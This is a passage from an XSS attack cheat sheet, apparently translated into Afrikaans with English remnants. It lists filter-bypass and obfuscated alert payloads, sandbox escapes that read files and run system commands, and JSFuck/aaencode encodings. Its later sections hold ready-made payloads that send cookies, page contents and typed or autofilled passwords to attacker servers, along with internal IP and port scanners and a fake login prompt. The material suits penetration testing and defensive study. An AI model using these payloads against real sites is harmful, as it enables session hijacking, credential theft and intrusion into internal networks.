[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Daar is JS code wat onveilige data wat deur ’n aanvaller beheer word gebruik, soos location.href
. ’n Aanvaller kan dit misbruik om ewekansige JS-kode uit te voer.
Weens die omvang van die verduideliking van DOM vulnerabilities it was moved to this page:
Daar sal jy ’n gedetailleerde verduideliking van wat DOM vulnerabilities is, hoe hulle veroorsaak word, en hoe om hulle uit te buit vind.
Ook, moenie vergeet dat aan die einde van die genoemde pos jy ’n verduideliking oor DOM Clobbering attacks kan vind.
Opgradering van Self-XSS
Cookie XSS
As jy ’n XSS kan trigger deur die payload in ’n cookie te stuur, is dit gewoonlik ’n self-XSS. As jy egter ’n kwesbare subdomein vir XSS vind, kan jy hierdie XSS misbruik om ’n cookie in die hele domein in te spuit en sodoende die cookie XSS in die hoofdomein of ander subdomeine (dié wat vatbaar is vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
Jy kan ’n goeie misbruik van hierdie tegniek vind in this blog post.
Sending your session to the admin
Miskien kan ’n gebruiker sy profiel met die admin deel, en as die self-XSS in die gebruiker se profiel voorkom en die admin dit oopmaak, sal hy die kwesbaarheid aktiveer.
Session Mirroring
Indien jy ’n self-XSS vind en die webblad ’n session mirroring for administrators het — byvoorbeeld wat kliënte toelaat om hulp te vra en sodat die admin sien wat jy in jou sessie sien maar vanuit sy eie sessie —
Jy kan die administrator laat jou self XSS aktiveer en sy cookies/sessie steel.
Ander Omseilings
Genormaliseerde Unicode
Jy kan nagaan of die reflected values op die bediener (of aan die kliëntkant) unicode genormaliseer word en hierdie funksionaliteit misbruik om beskermings te omseil. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
As gevolg van RoR mass assignment word aanhalingstekens in die HTML ingevoeg en word die aanhalingstekenbeperking omseil, sodat bykomende velde (onfocus) binne die tag bygevoeg kan word.
Voorbeeld van 'n vorm (from this report), as jy die payload stuur:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Die paar "Key","Value" sal soos volg teruggegee word:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Dan sal die onfocus-attribuut ingevoeg word en XSS sal plaasvind.
Spesiale kombinasies
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
As jy vind dat jy kan inject headers in a 302 Redirect response kan jy probeer om make the browser execute arbitrary JavaScript. Dit is nie triviaal nie aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code 302
is nie, so net 'n cross-site scripting payload is nutteloos.
In this report and this one kan jy lees hoe jy verskeie protokolle binne die Location header kan toets en kyk of enige van hulle die browser toelaat om die XSS payload binne die body te inspekteer en uit te voer.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, leë Location header, resource://
.
Only Letters, Numbers and Dots
As jy die callback kan aandui wat javascript gaan execute, beperk tot daardie karakters. Lees hierdie afdeling van hierdie pos om te sien hoe om hierdie gedrag te misbruik.
Valid <script>
Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream
, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes
from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Skrip-tipes vir XSS
(Van here) Dus, watter tipes kan aangedui word om 'n skrip te laai?
<script type="???"></script>
Die antwoord is:
- module (standaard, niks om te verduidelik)
- webbundle: Web Bundles is 'n funksie waarmee jy 'n klomp data (HTML, CSS, JS…) saam in 'n
.wbn
lêer kan verpak.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Laat toe om die import-sintaksis te verbeter
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Hierdie gedrag is gebruik in this writeup om 'n biblioteek na eval te herlei en dit misbruik om XSS te veroorsaak.
- speculationrules: Hierdie funksie is hoofsaaklik bedoel om sommige probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types na XSS
(Vanaf here) Die volgende Content-Types kan XSS in alle browsers uitvoer:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In ander browsers kan ander Content-Types
gebruik word om willekeurige JS uit te voer, kyk: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spesiale Vervangingspatrone
Wanneer iets soos "some {{template}} data".replace("{{template}}", <user_input>)
gebruik word, kan die aanvaller special string replacements gebruik om sekere beskermings te omseil: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Byvoorbeeld in this writeup, is dit gebruik om 'n JSON-string te ontsnap binne 'n script en enige kode uit te voer.
Chrome Cache to XSS
XS Jails Escape
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
As alles ongedefinieer is voordat onbetroubare kode uitgevoer word (soos in this writeup), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Deur import() te gebruik
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Indirek toegang tot
require
Volgens hierdie modules word deur Node.js in 'n funksie ingepak, soos volg:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Daarom, as ons van daardie module af 'n ander funksie kan oproep, is dit moontlik om arguments.callee.caller.arguments[1]
van daardie funksie te gebruik om toegang tot require
te kry:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Op 'n soortgelyke wyse as die vorige voorbeeld, is dit moontlik om use error handlers te gebruik om toegang tot die wrapper van die module te kry en die require
funksie te bekom:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obskurering & Gevorderde Omseiling
- Verskillende obskurerings op een bladsy: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Meer gesofistikeerde JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS algemene payloads
Verskeie payloads in 1
Iframe Trap
Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy/haar aksies (insluitend inligting wat in vorms gestuur word):
Haal Cookies op
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Jy sal nie toegang tot die cookies vanaf JavaScript hê nie as die HTTPOnly flag in die cookie gestel is. Maar hier het jy some ways to bypass this protection as jy gelukkig genoeg.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Vind interne IP-adresse
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Korte tye dui op 'n reagerende poort Langere tye dui op geen reaksie nie.
Kontroleer die lys van hawens wat in Chrome geblokkeer is here en in Firefox here.
Kassie om inlogbesonderhede te vra
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Vasvang van Auto-fill passwords
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word.
Hijack form handlers to exfiltrate credentials (const shadowing)
